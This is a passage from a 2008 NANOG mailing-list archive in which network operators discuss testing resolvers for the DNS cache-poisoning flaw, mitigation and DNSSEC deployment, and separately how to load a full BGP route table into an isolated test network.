C. Toren) Date: Tue, 8 Jul 2008 22:54:27 -0700 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <487413A9.5080702@deaddrop.org> <487420DF.4040706@gmail.com> References: <48740254.8030404@deaddrop.org> <2165D146-C2EA-4716-B55C-71099D78C736@delong.com> <487413A9.5080702@deaddrop.org> <20080708232005.GA26330@cgi.jachomes.com> <20080708235605.GC26330@cgi.jachomes.com> <48740254.8030404@deaddrop.org> <2165D146-C2EA-4716-B55C-71099D78C736@delong.com> <487420DF.4040706@gmail.com> Message-ID: <20080709055427.GA10676@entropia.netisland.net> On Tue, Jul 08, 2008 at 06:26:01PM -0700, Lynda wrote: > Owen DeLong wrote: > > The tool, unfortunately, only goes after the server it thinks you are > > using to recurse from the client where you're running your browser. > > > > This makes it hard to test servers being used in production > > environments without GUIs. The tool is not Lynx compatible. > > Figures. It's becoming a pointy-clicky world. I don't like it much, > either. [..] > I'll see whether someone can pry the code loose from Dan, rather than > having it hidden under a button. As Christian Koch said, the tool isn't > really directed at NANOG folk. I'm sure that it could be modified so > that it was. I note that BIND has been updated on all your favorite > operating systems, which should help some. Still, the updates just > barely happened, and then the announcement hit. Reading through the JavaScript that drives , it appears to be pretty easy to write a non-AJAX client to query Dan's service. I threw one together in perl, named "noclicky", that allows you to use Dan's service against any nameserver specified on the command line. You can download a copy from . Here's an example using the script against an unpatched system: bash$ ./noclicky 207.106.1.2 Looking up knzcgp14upi9.toorrr.com against 207.106.1.2 Fetching http://209.200.168.66/fprint/knzcgp14upi9 Requests seen for knzcgp14upi9.toorrr.com: 63.139.151.102:32932 TXID=45460 63.139.151.102:32932 TXID=9718 63.139.151.102:32932 TXID=40448 63.139.151.102:32932 TXID=27861 63.139.151.102:32932 TXID=59838 Your nameserver appears vulnerable; all requests came from the same port. Note that the IP address Dan's service is reporting on is 63.139.151.102, which is different than the IP address I'm issuing DNS requests against. In this specific case, it's likely that 207.106.1.2 is configured to use 63.139.151.102 as a forwarder. Here's an example using the script against a Comcast nameserver, which has already patched been patched: bash$ ./noclicky 68.87.76.181 Looking up r14z2k52m6uj.toorrr.com against 68.87.76.181 Fetching http://209.200.168.66/fprint/r14z2k52m6uj Requests seen for r14z2k52m6uj.toorrr.com: 68.87.76.181:17244 TXID=23113 68.87.76.181:17219 TXID=31336 68.87.76.181:17270 TXID=1613 68.87.76.181:16987 TXID=22846 68.87.76.181:16974 TXID=24013 Your nameserver appears to be safe On Tue, Jul 08, 2008 at 09:22:23PM -0500, Jimmy Hess wrote: > I suspect the tool's form might partly be meant to obscure exactly what > patterns it is looking for. Kind of how one might release a > vulnerability checker in binary form (but with source code intentionally > witheld) > > 5 query samples would not seem to be a sufficient number to compute the > probability that the TXIDs and source ports are both independent and > random, with stringent confidence intervals, and that there is no > sequence predictability (due to use of a PRNG)... The logic for determining whether or not a nameserver is vulnerable turns out to be entirely exposed in the JavaScript client. It isn't doing anything with the TXID values, but rather just checking to see if requests were issued from more than one source port. See line 86 of . Also, if you want to see how the service is forcing the client to issue five successive DNS requests, check out the output of dig(1) against foo.toorrr.com. (Disclaimer: I'm somewhat sleep deprived at the moment due to jet lag, and some of the information above could very well end up being wrong. Others are encouraged to double check my work.) Thanks, -mct From jfmezei at vaxination.ca Wed Jul 9 03:39:49 2008 From: jfmezei at vaxination.ca (=?ISO-8859-1?Q?Jean-Fran=E7ois_Mezei?=) Date: Wed, 09 Jul 2008 04:39:49 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <20080709055427.GA10676@entropia.netisland.net> References: <48740254.8030404@deaddrop.org> <2165D146-C2EA-4716-B55C-71099D78C736@delong.com> <487413A9.5080702@deaddrop.org> <20080708232005.GA26330@cgi.jachomes.com> <20080708235605.GC26330@cgi.jachomes.com> <48740254.8030404@deaddrop.org> <2165D146-C2EA-4716-B55C-71099D78C736@delong.com> <487420DF.4040706@gmail.com> <20080709055427.GA10676@entropia.netisland.net> Message-ID: <48747955.20906@vaxination.ca> Michael C. Toren wrote: > bash$ ./noclicky 68.87.76.181 > Looking up r14z2k52m6uj.toorrr.com against 68.87.76.181 > Fetching http://209.200.168.66/fprint/r14z2k52m6uj > Requests seen for r14z2k52m6uj.toorrr.com: > 68.87.76.181:17244 TXID=23113 > 68.87.76.181:17219 TXID=31336 > 68.87.76.181:17270 TXID=1613 > 68.87.76.181:16987 TXID=22846 > 68.87.76.181:16974 TXID=24013 > Your nameserver appears to be safe > Thanks for the explanation. I used wireshark to capture the DNS traffic from my server to the outside world while running the doxpara.com test. My DNS server made the various DNS requests from the same port and is thus vulnerable. (VMS TCPIP Services so no patches expected). From jgreco at ns.sol.net Wed Jul 9 07:17:53 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Wed, 9 Jul 2008 07:17:53 -0500 (CDT) Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <487420DF.4040706@gmail.com> from "Jimmy Hess" at Jul 08, 2008 09:22:23 PM Message-ID: <200807091217.m69CHrr2054883@aurora.sol.net> > > surely the tool is not focused at a dns operator/admin audience.. > > I suspect the tool's form might partly be meant to obscure exactly what > patterns it is looking for. > Kind of how one might release a vulnerability checker in binary form > (but with source code intentionally witheld) > > 5 query samples would not seem to be a sufficient number to compute the > probability that the TXIDs and > source ports are both independent and random, with stringent confidence > intervals, and that there is > no sequence predictability (due to use of a PRNG)... > > More exhaustive tool would operate on tcpdump output or run live with > pcap, gather samples of sequences of TXIDs, > port numbers, timestamps. > > And perform tests for independency between TXID and port number, timestamp, > and some statistical tests for randomness. Since it appears as though a significant part of the solution is tied to upgrading to new code, which implements better PRNG *and* random source ports, it seems that one indicator for vulnerability is simply the reuse of a source port number, which should be trivial to identify without any concern for having to look for "patterns" within the PRNG-generated TXID. You do not necessarily need to be able to verify that something is NOT vulnerable in order to detect vulnerability. Your answers will only be "is vulnerable" and "might be vulnerable" of course, but that's useful all by itself. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From jra at baylink.com Wed Jul 9 08:16:53 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Wed, 9 Jul 2008 09:16:53 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <48747955.20906@vaxination.ca> References: <487413A9.5080702@deaddrop.org> <20080708232005.GA26330@cgi.jachomes.com> <20080708235605.GC26330@cgi.jachomes.com> <48740254.8030404@deaddrop.org> <2165D146-C2EA-4716-B55C-71099D78C736@delong.com> <487420DF.4040706@gmail.com> <20080709055427.GA10676@entropia.netisland.net> <48747955.20906@vaxination.ca> Message-ID: <20080709131653.GC31722@cgi.jachomes.com> On Wed, Jul 09, 2008 at 04:39:49AM -0400, Jean-Fran?ois Mezei wrote: > My DNS server made the various DNS requests from the same port and is > thus vulnerable. (VMS TCPIP Services so no patches expected). Well, yes, but unless I've badly misunderstood the situation, all that's necessary to mitigate this bug is to interpose a non-buggy recursive resolver between the broken machine and the Internet at large, right? So just make sure your corporate/campus edge router has a reasonable named on it, and point everything broken at that, and you should be ok, even though, as you note, DEC won't be updating VMS any time soon. :-) Cheers, -- jr 'Compaq? No, that's HP now, isn't it?' a -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Joseph Stalin) From simonw at zynet.net Wed Jul 9 08:38:38 2008 From: simonw at zynet.net (Simon Waters) Date: Wed, 9 Jul 2008 14:38:38 +0100 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <20080709131653.GC31722@cgi.jachomes.com> References: <487413A9.5080702@deaddrop.org> <48747955.20906@vaxination.ca> <20080709131653.GC31722@cgi.jachomes.com> Message-ID: <200807091438.38443.simonw@zynet.net> On Wednesday 09 July 2008 14:16:53 Jay R. Ashworth wrote: > On Wed, Jul 09, 2008 at 04:39:49AM -0400, Jean-Fran?ois Mezei wrote: > > My DNS server made the various DNS requests from the same port and is > > thus vulnerable. (VMS TCPIP Services so no patches expected). > > Well, yes, but unless I've badly misunderstood the situation, all > that's necessary to mitigate this bug is to interpose a non-buggy > recursive resolver between the broken machine and the Internet at > large, right? He said "DNS server", which you wouldn't want to point at a correct named, because that would be forwarding, and forwarding has its own security issues. I've already dragged a name server here back to a supported OS version today because of this, don't see why others should escape ;) From jra at baylink.com Wed Jul 9 09:18:04 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Wed, 9 Jul 2008 10:18:04 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <200807091438.38443.simonw@zynet.net> References: <487413A9.5080702@deaddrop.org> <48747955.20906@vaxination.ca> <20080709131653.GC31722@cgi.jachomes.com> <200807091438.38443.simonw@zynet.net> Message-ID: <20080709141804.GF31722@cgi.jachomes.com> On Wed, Jul 09, 2008 at 02:38:38PM +0100, Simon Waters wrote: > On Wednesday 09 July 2008 14:16:53 Jay R. Ashworth wrote: > > On Wed, Jul 09, 2008 at 04:39:49AM -0400, Jean-Fran?ois Mezei wrote: > > > My DNS server made the various DNS requests from the same port and is > > > thus vulnerable. (VMS TCPIP Services so no patches expected). > > > > Well, yes, but unless I've badly misunderstood the situation, all > > that's necessary to mitigate this bug is to interpose a non-buggy > > recursive resolver between the broken machine and the Internet at > > large, right? > > He said "DNS server", which you wouldn't want to point at a correct named, > because that would be forwarding, and forwarding has its own security issues. Assuming that he actually meant "name server" and not "the resolver library on my VMS machine" -- lots of Unix boxes don't run a local named either. No offense to JF... > I've already dragged a name server here back to a supported OS version today > because of this, don't see why others should escape ;) Well, in his case, for the same reason that no one will be upgrading the resolver library on Win98 if it's broke, I think. Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From jlewis at packetnexus.com Wed Jul 9 09:29:48 2008 From: jlewis at packetnexus.com (Jason Lewis) Date: Wed, 09 Jul 2008 10:29:48 -0400 Subject: Building a BGP test network Message-ID: <4874CB5C.7030309@packetnexus.com> I'm building a BGP test network and I'd like to replicate a full route table on a few of my routers. I thought I might be able to use Quagga and insert a rib dump, but I'm not finding a lot of info on if it's possible. (I've pinged the quagga list and didn't get any response) So my question is, is it possible to feed a router on a private test network a full route table from a RIB snapshot? I have to think someone has done it and I'm just not searching for the right things. Thanks, jas From pfunix at gmail.com Wed Jul 9 09:37:24 2008 From: pfunix at gmail.com (Beavis) Date: Wed, 9 Jul 2008 08:37:24 -0600 Subject: Building a BGP test network In-Reply-To: <4874CB5C.7030309@packetnexus.com> References: <4874CB5C.7030309@packetnexus.com> Message-ID: Jas, hi check this thread, you might be able to talk with the same guy. http://www.ripe.net/ripe/maillists/archives/routing-wg/1999/msg00107.html goodluck, -b On Wed, Jul 9, 2008 at 8:29 AM, Jason Lewis wrote: > I'm building a BGP test network and I'd like to replicate a full route table > on a few of my routers. I thought I might be able to use Quagga and insert > a rib dump, but I'm not finding a lot of info on if it's possible. (I've > pinged the quagga list and didn't get any response) > > So my question is, is it possible to feed a router on a private test network > a full route table from a RIB snapshot? I have to think someone has done it > and I'm just not searching for the right things. > Thanks, > > jas > > From jlewis at packetnexus.com Wed Jul 9 09:54:40 2008 From: jlewis at packetnexus.com (Jason Lewis) Date: Wed, 09 Jul 2008 10:54:40 -0400 Subject: Building a BGP test network In-Reply-To: <4874CB5C.7030309@packetnexus.com> References: <4874CB5C.7030309@packetnexus.com> Message-ID: <4874D130.2000209@packetnexus.com> I should clarify that my test network is not connected to the Internet or any other network. I would normally just peer and get the table, but I don't have that ability. I'm open to anything that could act like a BGP router where I could feed it an existing RIB. Jason Lewis wrote: > I'm building a BGP test network and I'd like to replicate a full route > table on a few of my routers. I thought I might be able to use Quagga > and insert a rib dump, but I'm not finding a lot of info on if it's > possible. (I've pinged the quagga list and didn't get any response) > > So my question is, is it possible to feed a router on a private test > network a full route table from a RIB snapshot? I have to think > someone has done it and I'm just not searching for the right things. > Thanks, > > jas > From Mark.Borchers at McLeodUSA.com Wed Jul 9 10:01:53 2008 From: Mark.Borchers at McLeodUSA.com (Borchers, Mark M.) Date: Wed, 9 Jul 2008 10:01:53 -0500 Subject: Building a BGP test network In-Reply-To: <4874D130.2000209@packetnexus.com> Message-ID: <03FD38C1397A8C45AFC383CB4F1704FE3BA5E5DEB5@MAILCLUSTER2.mcld.net> Do you have access to an Adtech or equivalent tester? Our AX4000 has the ability to fake a routing table. Just give it a range of prefixes and a range of prefix-lengths. > -----Original Message----- > From: Jason Lewis [mailto:jlewis at packetnexus.com] > Sent: Wednesday, July 09, 2008 9:55 AM > To: NANOG list > Subject: Re: Building a BGP test network > > > I should clarify that my test network is not connected to the Internet > or any other network. I would normally just peer and get the > table, but > I don't have that ability. I'm open to anything that could act like a > BGP router where I could feed it an existing RIB. > > Jason Lewis wrote: > > I'm building a BGP test network and I'd like to replicate a > full route > > table on a few of my routers. I thought I might be able to > use Quagga > > and insert a rib dump, but I'm not finding a lot of info on if it's > > possible. (I've pinged the quagga list and didn't get any response) > > > > So my question is, is it possible to feed a router on a private test > > network a full route table from a RIB snapshot? I have to think > > someone has done it and I'm just not searching for the right things. > > Thanks, > > > > jas > > > > > > ______________________________________________________________________ > This email has been scanned by the MessageLabs Email Security System. > For more information please visit http://www.messagelabs.com/email > ______________________________________________________________________ > NOTICE: This electronic mail transmission may contain confidential information and is intended only for the person(s) named. Any use, copying, or disclosure by any other person is strictly prohibited. If you have received this transmission in error, please notify the sender via e-mail. From howard.jones at network-i.net Wed Jul 9 10:26:16 2008 From: howard.jones at network-i.net (Howard Jones) Date: Wed, 09 Jul 2008 16:26:16 +0100 Subject: Building a BGP test network In-Reply-To: <4874CB5C.7030309@packetnexus.com> References: <4874CB5C.7030309@packetnexus.com> Message-ID: <4874D898.50805@network-i.net> Jason Lewis wrote: > I'm building a BGP test network and I'd like to replicate a full route > table on a few of my routers. I thought I might be able to use Quagga > and insert a rib dump, but I'm not finding a lot of info on if it's > possible. (I've pinged the quagga list and didn't get any response) > > So my question is, is it possible to feed a router on a private test > network a full route table from a RIB snapshot? I have to think > someone has done it and I'm just not searching for the right things. I've done this in the (distant) past by taking the output from 'show ip route' from one of our live transit routers, and awking it into a load of 'route add' commands on a spare FreeBSD box. Run quagga on that, and hook it into your test network. I needed to change some sysctl parameters to allow for that many routes though - and that was when it was 90K routes, not 230K :-) You can do similar things in perl with Net::BGP, without bothering the host system's routing table, too. H From Stefan.Fouant at neustar.biz Wed Jul 9 10:28:28 2008 From: Stefan.Fouant at neustar.biz (Fouant, Stefan) Date: Wed, 9 Jul 2008 11:28:28 -0400 Subject: Building a BGP test network Message-ID: The problem with the Adtech and the Router Tester and other similar routing protocol generation tools is while they are good at generating a lot of routes and helping to test routing protocol scalability, they usually just send the routes in the configured range in a contiguous, non-randomized fashion, with uniform prefix-masks, etc. This is very friendly to most typical radix-tree implementations, so if you want to test something like routing protocol convergence, you'll want something that can randomize the routes as much as possible. There are certainly tools out there that that can play back route tables, including one very commonly used proprietary tool created and used internally by one of the *big* vendors for testing their routers. If you do a bit of digging you should be able to find it. HTHs. Stefan Fouant Principal Network Engineer NeuStar, Inc. - http://www.neustar.biz GPG Key ID: 0xB5E3803D ----- Original Message ----- From: Borchers, Mark M. To: NANOG list Sent: Wed Jul 09 11:01:53 2008 Subject: RE: Building a BGP test network Do you have access to an Adtech or equivalent tester? Our AX4000 has the ability to fake a routing table. Just give it a range of prefixes and a range of prefix-lengths. > -----Original Message----- > From: Jason Lewis [mailto:jlewis at packetnexus.com] > Sent: Wednesday, July 09, 2008 9:55 AM > To: NANOG list > Subject: Re: Building a BGP test network > > > I should clarify that my test network is not connected to the Internet > or any other network. I would normally just peer and get the > table, but > I don't have that ability. I'm open to anything that could act like a > BGP router where I could feed it an existing RIB. > > Jason Lewis wrote: > > I'm building a BGP test network and I'd like to replicate a > full route > > table on a few of my routers. I thought I might be able to > use Quagga > > and insert a rib dump, but I'm not finding a lot of info on if it's > > possible. (I've pinged the quagga list and didn't get any response) > > > > So my question is, is it possible to feed a router on a private test > > network a full route table from a RIB snapshot? I have to think > > someone has done it and I'm just not searching for the right things. > > Thanks, > > > > jas > > > > > > ______________________________________________________________________ > This email has been scanned by the MessageLabs Email Security System. > For more information please visit http://www.messagelabs.com/email > ______________________________________________________________________ > NOTICE: This electronic mail transmission may contain confidential information and is intended only for the person(s) named. Any use, copying, or disclosure by any other person is strictly prohibited. If you have received this transmission in error, please notify the sender via e-mail. From smb at cs.columbia.edu Wed Jul 9 10:41:43 2008 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Wed, 9 Jul 2008 11:41:43 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: References: Message-ID: <20080709114143.01b59c15@cs.columbia.edu> On Tue, 8 Jul 2008 13:48:57 -0700 "Buhrmaster, Gary" wrote: > > Multiple DNS implementations vulnerable to cache poisoning: > > http://www.kb.cert.org/vuls/id/800113 > > (A widely coordinated vendor announcement. As always, > check with your vendor(s) for patch status.) > It's worth noting that the basic idea of the attack isn't new. Paul Vixie described it in 1995 at the Usenix Security Conference (http://www.usenix.org/publications/library/proceedings/security95/vixie.html) -- in a section titled "What We Cannot Fix", he wrote: With only 16 bits worth of query ID and 16 bits worth of UDP port number, it's hard not to be predictable. A determined attacker can try all the numbers in a very short time and can use patterns derived from examination of the freely available BIND code. Even if we had a white noise generator to help randomize our numbers, it's just too easy to try them all. The ISC web page on the attack notes "DNSSEC is the only definitive solution for this issue. Understanding that immediate DNSSEC deployment is not a realistic expectation..." I wonder what NANOG folk can do about the second part of that quote... --Steve Bellovin, http://www.cs.columbia.edu/~smb From charles at thewybles.com Wed Jul 9 10:46:16 2008 From: charles at thewybles.com (Charles N Wyble) Date: Wed, 09 Jul 2008 08:46:16 -0700 Subject: Building a BGP test network In-Reply-To: <4874CB5C.7030309@packetnexus.com> References: <4874CB5C.7030309@packetnexus.com> Message-ID: <4874DD48.3050207@thewybles.com> Jason Lewis wrote: > I'm building a BGP test network and I'd like to replicate a full route > table on a few of my routers. I thought I might be able to use Quagga > and insert a rib dump, but I'm not finding a lot of info on if it's > possible. (I've pinged the quagga list and didn't get any response) > > So my question is, is it possible to feed a router on a private test > network a full route table from a RIB snapshot? I have to think > someone has done it and I'm just not searching for the right things. Well first of all do you have a rib dump? If not see http://routeviews.org/ for source material. Specifically http://archive.routeviews.org/ and ftp://archive.routeviews.org/ As for inserting it into Quagga, I'm not sure how to go about doing that. Various google searches don't turn anything up. I was planning on looking into this problem in a few weeks anyway. I'm building a network test bed and having full BGP tables is a part of my testing. When I figure it out I'll post to the list unless its figured out before then. -- Charles N Wyble (818) 280-7059 http://charlesnw.blogspot.com From morrowc.lists at gmail.com Wed Jul 9 11:05:38 2008 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 9 Jul 2008 12:05:38 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <20080709114143.01b59c15@cs.columbia.edu> References: <20080709114143.01b59c15@cs.columbia.edu> Message-ID: <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> On Wed, Jul 9, 2008 at 11:41 AM, Steven M. Bellovin wrote: > The ISC web page on the attack notes "DNSSEC is the only definitive > solution for this issue. Understanding that immediate DNSSEC deployment > is not a realistic expectation..." I wonder what NANOG folk can do > about the second part of that quote... get the root zone signed, get com/net/org/ccTLD's signed.. oh wait, that's not nanog... doh! Pressure your local ICANN officers? -Chris From smb at cs.columbia.edu Wed Jul 9 11:11:27 2008 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Wed, 9 Jul 2008 12:11:27 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> Message-ID: <20080709121127.63a6c8f5@yellowstone.machshav.com> On Wed, 9 Jul 2008 12:05:38 -0400 "Christopher Morrow" wrote: > On Wed, Jul 9, 2008 at 11:41 AM, Steven M. Bellovin > wrote: > > > The ISC web page on the attack notes "DNSSEC is the only definitive > > solution for this issue. Understanding that immediate DNSSEC > > deployment is not a realistic expectation..." I wonder what NANOG > > folk can do about the second part of that quote... > > get the root zone signed, get com/net/org/ccTLD's signed.. oh wait, > that's not nanog... doh! > > Pressure your local ICANN officers? > How many ISPs run DNS servers for customers? Start by signing those zones -- that has to be done in any event. Set up caching resolvers to verify signatures. "It is not your part to finish the task, yet you are not free to desist from it." (From the Talmud, circa 130.) No, I didn't say it would be easy, but if we don't start we're not going to get anywhere. --Steve Bellovin, http://www.cs.columbia.edu/~smb From jabley at ca.afilias.info Wed Jul 9 11:32:13 2008 From: jabley at ca.afilias.info (Joe Abley) Date: Wed, 9 Jul 2008 12:32:13 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> Message-ID: On 9 Jul 2008, at 12:05, Christopher Morrow wrote: > On Wed, Jul 9, 2008 at 11:41 AM, Steven M. Bellovin > wrote: > >> The ISC web page on the attack notes "DNSSEC is the only definitive >> solution for this issue. Understanding that immediate DNSSEC >> deployment >> is not a realistic expectation..." I wonder what NANOG folk can do >> about the second part of that quote... > > get the root zone signed, get com/net/org/ccTLD's signed.. oh wait, > that's not nanog... doh! The timeline for signing ORG was presented by PIR at the recent ICANN meeting in Paris. http://par.icann.org/files/paris/RaadDNSSEC.pdf The estimated timeline expressed that slide would have a signed ORG zone containing some DS records by the beginning of next year, with full mainstream availability (such that any registrant could use a DNSSEC-capable registrar to request a secure delegation) in 2010. Joe From drc at virtualized.org Wed Jul 9 11:59:27 2008 From: drc at virtualized.org (David Conrad) Date: Wed, 9 Jul 2008 09:59:27 -0700 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> Message-ID: On Jul 9, 2008, at 9:05 AM, Christopher Morrow wrote: >> Understanding that immediate DNSSEC deployment >> is not a realistic expectation..." I wonder what NANOG folk can do >> about the second part of that quote... > > get the root zone signed, get com/net/org/ccTLD's signed.. oh wait, There are 4 ccTLDs (se, bg, pr, br) that are signed. As Joe has indicated, ORG is moving towards signing their zone (as are several more ccTLDs). > that's not nanog... doh! > > Pressure your local ICANN officers? Mmph. https://ns.iana.org/dnssec/status.html (it's out of ICANN's hands) Regards, -drc From morrowc.lists at gmail.com Wed Jul 9 12:06:53 2008 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 9 Jul 2008 13:06:53 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <20080709121127.63a6c8f5@yellowstone.machshav.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <20080709121127.63a6c8f5@yellowstone.machshav.com> Message-ID: <75cb24520807091006o44b4925bqd648236079572062@mail.gmail.com> On Wed, Jul 9, 2008 at 12:11 PM, Steven M. Bellovin wrote: > On Wed, 9 Jul 2008 12:05:38 -0400 > "Christopher Morrow" wrote: >> Pressure your local ICANN officers? >> > How many ISPs run DNS servers for customers? Start by signing those This is likely going to mean some mean OSS changes and perhaps re-adjustment of where customer zones live to deal with extra load on auth servers... Also, the customer(s) likely have to ask for that sort of thing to happen, and include in their OSS re-signing/verifying/blah when they make changes to their zone(s). > zones -- that has to be done in any event. Set up caching resolvers to > verify signatures. "It is not your part to finish the task, yet you yup, more server load considerations, for services not being paid for directly by customers... also, this is but a small minority of the affected devices here. Not that it's not important, but there are other parts of the dns pie. Someone mentioned CPE devices doing cache-resolving as well, if their upstream is an affectd device they are vulnerable, if they are vulnerable they could be subverted :( My point was really, how do we get dns-sec rolling? From the top-down that's 'bug icann' right? and from the bottom-up that's: 0) update applications to meaningfully use dnssec data 1) educate users/domain-owners 2) roll infrastructure to the ISP/Enterprise 3) make sure the CPE/end-systems are prepared for dnssec 4) update OSS bits down the dns-tree 5) deploy 6) rejoice? Just saying "DNSSEC is the answer" is cool, but we've (network/security community) been saying that for 10 years. How does this move forward? > > No, I didn't say it would be easy, but if we don't start we're not > going to get anywhere. yup. From ariel at fireball.tau.ac.il Wed Jul 9 12:36:11 2008 From: ariel at fireball.tau.ac.il (Ariel Biener) Date: Wed, 9 Jul 2008 20:36:11 +0300 Subject: Building a BGP test network In-Reply-To: <4874D898.50805@network-i.net> References: <4874CB5C.7030309@packetnexus.com> <4874D898.50805@network-i.net> Message-ID: <200807092036.11508.ariel@fireball.tau.ac.il> On Wednesday 09 July 2008 18:26, Howard Jones wrote: > I've done this in the (distant) past by taking the output from 'show ip > route' from one of our live transit routers, and awking it into a load > of 'route add' commands on a spare FreeBSD box. Run quagga on that, and > hook it into your test network. I needed to change some sysctl > parameters to allow for that many routes though - and that was when it > was 90K routes, not 230K :-) I might be missing something, but this is not emulating the real thing, since all the AS paths are gone, aren't they ? All the natural BGP environment is also gone, since show ip route will only show the route that ended up in the RIB, while show ip bgp might show a few paths to a route, with one of them being best. I have been pondering over this issue for some time now (not too much time to invest on it), since I wanted to created a duplicate model of our production network in a test environment, not connected to any outside network (thus cannot peer, same problem as described here). --Ariel -- Ariel Biener e-mail: ariel at post.tau.ac.il PGP: http://www.tau.ac.il/~ariel/pgp.html From michael.dillon at bt.com Wed Jul 9 12:39:42 2008 From: michael.dillon at bt.com (michael.dillon at bt.com) Date: Wed, 9 Jul 2008 18:39:42 +0100 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: Message-ID: > > Pressure your local ICANN officers? > > Mmph. https://ns.iana.org/dnssec/status.html > > (it's out of ICANN's hands) Huh!? Then what does this following statement refer to? (c) 2008 The Internet Corporation for Assigned Names and Numbers. I found that at the bottom of the IANA page whose URL you quoted. At the bottom of the IANA home page http://www.iana.org/ it is stated a bit more explicitly: IANA is operated by the Internet Corporation for Assigned Names and Numbers It sounds like ICANN has the matter well in hand to me given that it is only responsible for the common central bit of the DNS system. The rest of the job is everyone's problem. --Michael Dillon From ww at styx.org Wed Jul 9 12:49:03 2008 From: ww at styx.org (William Waites) Date: Wed, 9 Jul 2008 19:49:03 +0200 Subject: Building a BGP test network In-Reply-To: <200807092036.11508.ariel@fireball.tau.ac.il> References: <4874CB5C.7030309@packetnexus.com> <4874D898.50805@network-i.net> <200807092036.11508.ariel@fireball.tau.ac.il> Message-ID: <49DB653E-2CF6-4918-997E-83E154DDA793@styx.org> Le 08-07-09 ? 19:36, Ariel Biener a ?crit : > > I have been pondering over this issue for some time now (not too much > time to invest on it), since I wanted to created a duplicate model > of our > production network in a test environment, not connected to any outside > network (thus cannot peer, same problem as described here). What about http://ipmon.sprint.com/pyrt/ ? It doesn't do everything being designed for the reverse problem -- pulling routes from a live BGP network for analysis. But it does include a BGP speaker and the ability to read and write MRTD files. I imagine with relatively little work it could be coaxed to read an MRTD dump and send the entries to a test peer. -w From smb at cs.columbia.edu Wed Jul 9 12:55:07 2008 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Wed, 9 Jul 2008 13:55:07 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <75cb24520807091006o44b4925bqd648236079572062@mail.gmail.com> References: <20080709114143.01b59c15@cs.columbia.edu> <75cb24520807090905p75554c13l5f45796107551068@mail.gmail.com> <20080709121127.63a6c8f5@yellowstone.machshav.com> <75cb24520807091006o44b4925bqd648236079572062@mail.gmail.com> Message-ID: <20080709135507.77496954@yellowstone.machshav.com> On Wed, 9 Jul 2008 13:06:53 -0400 "Christopher Morrow" wrote: > On Wed, Jul 9, 2008 at 12:11 PM, Steven M. Bellovin > wrote: > > On Wed, 9 Jul 2008 12:05:38 -0400 > > "Christopher Morrow" wrote: > >> Pressure your local ICANN officers? > >> > > How many ISPs run DNS servers for customers? Start by signing those > > This is likely going to mean some mean OSS changes and perhaps > re-adjustment of where customer zones live to deal with extra load on > auth servers... Also, the customer(s) likely have to ask for that sort > of thing to happen, and include in their OSS re-signing/verifying/blah > when they make changes to their zone(s). Precisely my point. (In a related vein, how many folks started updating their OSSs a few years ago to handle IPv6 addresses?) > > > zones -- that has to be done in any event. Set up caching > > resolvers to verify signatures. "It is not your part to finish the > > task, yet you > > yup, more server load considerations, for services not being paid for > directly by customers... also, this is but a small minority of the > affected devices here. Not that it's not important, but there are > other parts of the dns pie. Someone mentioned CPE devices doing > cache-resolving as well, if their upstream is an affectd device they > are vulnerable, if they are vulnerable they could be subverted :( > > My point was really, how do we get dns-sec rolling? From the top-down > that's 'bug icann' right? and from the bottom-up that's: > > 0) update applications to meaningfully use dnssec data > 1) educate users/domain-owners > 2) roll infrastructure to the ISP/Enterprise > 3) make sure the CPE/end-systems are prepared for dnssec > 4) update OSS bits down the dns-tree > 5) deploy > 6) rejoice? > > Just saying "DNSSEC is the answer" is cool, but we've > (network/security community) been saying that for 10 years. How does > this move forward? > Maybe this attack will help... More seriously -- unlike v6, the pieces here can be updated independently; they'll then DTRT when the proper bits start showing up on the wire. Enterprises can sign their own zones, and give (with help from Microsoft, of course) their employees 